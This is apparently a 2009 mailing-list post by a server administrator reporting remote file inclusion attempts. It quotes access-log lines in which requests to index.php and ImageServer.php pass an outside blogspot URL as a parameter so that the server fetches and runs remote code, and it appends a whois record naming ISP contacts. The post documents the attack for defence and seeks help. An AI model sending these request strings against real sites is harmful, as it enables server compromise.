We have on nearly all webservers these rfi's
http://owned-nets.blogspot.com/2009/04/crim-net.html?Please_Click_on_my_google_ads
http://owned-nets.blogspot.com/2009/05/pro0f3th1sddbluelinebe.html?
Log:
85.68.16.16 - - [28/Sep/2009:23:10:43 +0200] "GET /sm/index.php?StoryID=http://owned-nets.blogspot.com/2009/04/crim-net.html?Please_Click_on_my_google_ads HTTP/1.1" 200 51028 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9"
92.3.203.241 - - [29/Sep/2009:10:37:44 +0200] "GET /admin/ImageServer.php?ID=http://owned-nets.blogspot.com/2009/04/crim-net.html?Please_Click_on_my_google_ads HTTP/1.1" 200 150 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9"
92.3.203.241 - - [29/Sep/2009:10:37:44 +0200] "GET /admin/ImageServer.php?ID=http://owned-nets.blogspot.com/2009/04/crim-net.html?Please_Click_on_my_google_ads HTTP/1.1" 200 150 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9"
92.3.203.241 - - [29/Sep/2009:10:40:42 +0200] "GET /admin/ImageServer.php?ID=http://owned-nets.blogspot.com/2009/04/crim-net.html?Please_Click_on_my_google_ads HTTP/1.1" 200 150 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9"
92.3.203.241 - - [29/Sep/2009:10:40:42 +0200] "GET /admin/ImageServer.php?ID=http://owned-nets.blogspot.com/2009/04/crim-net.html?Please_Click_on_my_google_ads HTTP/1.1" 200 150 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9"
92.3.203.241 - - [29/Sep/2009:10:43:26 +0200] "GET /admin/ImageServer.php?ID=http://owned-nets.blogspot.com/2009/04/crim-net.html?Please_Click_on_my_google_ads HTTP/1.1" 200 150 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9"
92.3.203.241 - - [29/Sep/2009:10:43:27 +0200] "GET /admin/ImageServer.php?ID=http://owned-nets.blogspot.com/2009/04/crim-net.html?Please_Click_on_my_google_ads HTTP/1.1" 200 150 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9"
92.3.203.241 - - [29/Sep/2009:10:46:07 +0200] "GET /admin/ImageServer.php?ID=http://owned-nets.blogspot.com/2009/04/crim-net.html?Please_Click_on_my_google_ads HTTP/1.1" 200 150 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9"
92.3.203.241 - - [29/Sep/2009:10:46:07 +0200] "GET /admin/ImageServer.php?ID=http://owned-nets.blogspot.com/2009/04/crim-net.html?Please_Click_on_my_google_ads HTTP/1.1" 200 150 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9"
92.3.203.241 - - [29/Sep/2009:10:48:24 +0200] "GET /admin/ImageServer.php?ID=http://owned-nets.blogspot.com/2009/04/crim-net.html?Please_Click_on_my_google_ads HTTP/1.1" 200 150 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9"
92.3.203.241 - - [29/Sep/2009:10:48:24 +0200] "GET /admin/ImageServer.php?ID=http://owned-nets.blogspot.com/2009/04/crim-net.html?Please_Click_on_my_google_ads HTTP/1.1" 200 150 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9"
92.3.203.241 - - [29/Sep/2009:10:50:39 +0200] "GET /admin/ImageServer.php?ID=http://owned-nets.blogspot.com/2009/04/crim-net.html?Please_Click_on_my_google_ads HTTP/1.1" 200 150 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9"
92.3.203.241 - - [29/Sep/2009:10:50:39 +0200] "GET /admin/ImageServer.php?ID=http://owned-nets.blogspot.com/2009/04/crim-net.html?Please_Click_on_my_google_ads HTTP/1.1" 200 150 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9"
92.3.203.241 - - [29/Sep/2009:10:52:55 +0200] "GET /admin/ImageServer.php?ID=http://owned-nets.blogspot.com/2009/04/crim-net.html?Please_Click_on_my_google_ads HTTP/1.1" 200 150 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9"
92.3.203.241 - - [29/Sep/2009:10:52:55 +0200] "GET /admin/ImageServer.php?ID=http://owned-nets.blogspot.com/2009/04/crim-net.html?Please_Click_on_my_google_ads HTTP/1.1" 200 150 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9"
92.3.203.241 - - [29/Sep/2009:10:57:01 +0200] "GET /admin/ImageServer.php?ID=http://owned-nets.blogspot.com/2009/04/crim-net.html?Please_Click_on_my_google_ads HTTP/1.1" 200 150 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9"
92.3.203.241 - - [29/Sep/2009:10:59:02 +0200] "GET /admin/ImageServer.php?ID=http://owned-nets.blogspot.com/2009/04/crim-net.html?Please_Click_on_my_google_ads HTTP/1.1" 200 150 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9"
92.3.203.241 - - [29/Sep/2009:11:00:53 +0200] "GET /admin/ImageServer.php?ID=http://owned-nets.blogspot.com/2009/04/crim-net.html?Please_Click_on_my_google_ads HTTP/1.1" 200 150 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9"
95.208.25.181 - - [29/Sep/2009:12:58:06 +0200] "GET /sm/index.php?StoryID=http://owned-nets.blogspot.com/2009/05/pro0f3th1sddbluelinebe.html? HTTP/1.1" 200 51132 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9"
95.208.162.129 - - [01/Oct/2009:12:57:48 +0200] "GET /admin/ImageServer.php?ID=http://owned-nets.blogspot.com/2009/05/pro0f3th1sddbluelinebe.html? HTTP/1.1" 200 150 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9"
last ip:
inetnum: 92.0.0.0 - 92.15.255.255
netname: CPWBBSERV-NET
descr: Carphone Warehouse Broadband Services
country: GB
admin-c: GJB18-RIPE
admin-c: PM58-RIPE
tech-c: GJB18-RIPE
tech-c: PM58-RIPE
status: ASSIGNED PA
mnt-by: OPAL-MNT
source: RIPE # Filtered
person: Gareth J Bowen
address: Opal Telecommunications Plc
address: Northbank Industrial Estate
address: Irlam
address: Manchester
address: United Kingdom
address: UK
phone: +44 161 2222000
fax-no: +44 161 2222003
e-mail: gbowen@opaltelecom.co.uk
remarks: Abuse e-mail sent to this address will be ignored.
remarks: Abuse e-mail should be sent to abuse@opaltelecom.co.uk
nic-hdl: GJB18-RIPE
mnt-by: OPAL-MNT
source: RIPE # Filtered
person: Phill Magill
address: Opal Telecommunications Plc
address: Northbank Industrial Estate
address: Irlam
address: Manchester
address: M44 5BL
address: United Kingdom
phone: +44 161 222-2000
fax-no: +44 161 222-2008
e-mail: pmagill@opaltelecom.co.uk
nic-hdl: PM58-RIPE
mnt-by: OPAL-MNT
source: RIPE # Filtered
% Information related to '92.0.0.0/11AS13285'
route: 92.0.0.0/11
descr: Carphone Warehouse Broadband Services Autonomous System
origin: AS13285
mnt-by: OPAL-MNT
source: RIPE # Filtered
% Information related to '92.0.0.0/13AS43234'
route: 92.0.0.0/13
descr: CPW-BS-Subscribers-LOG
origin: AS43234
mnt-by: OPAL-MNT
source: RIPE # Filtered
any glue ?
-- gerhard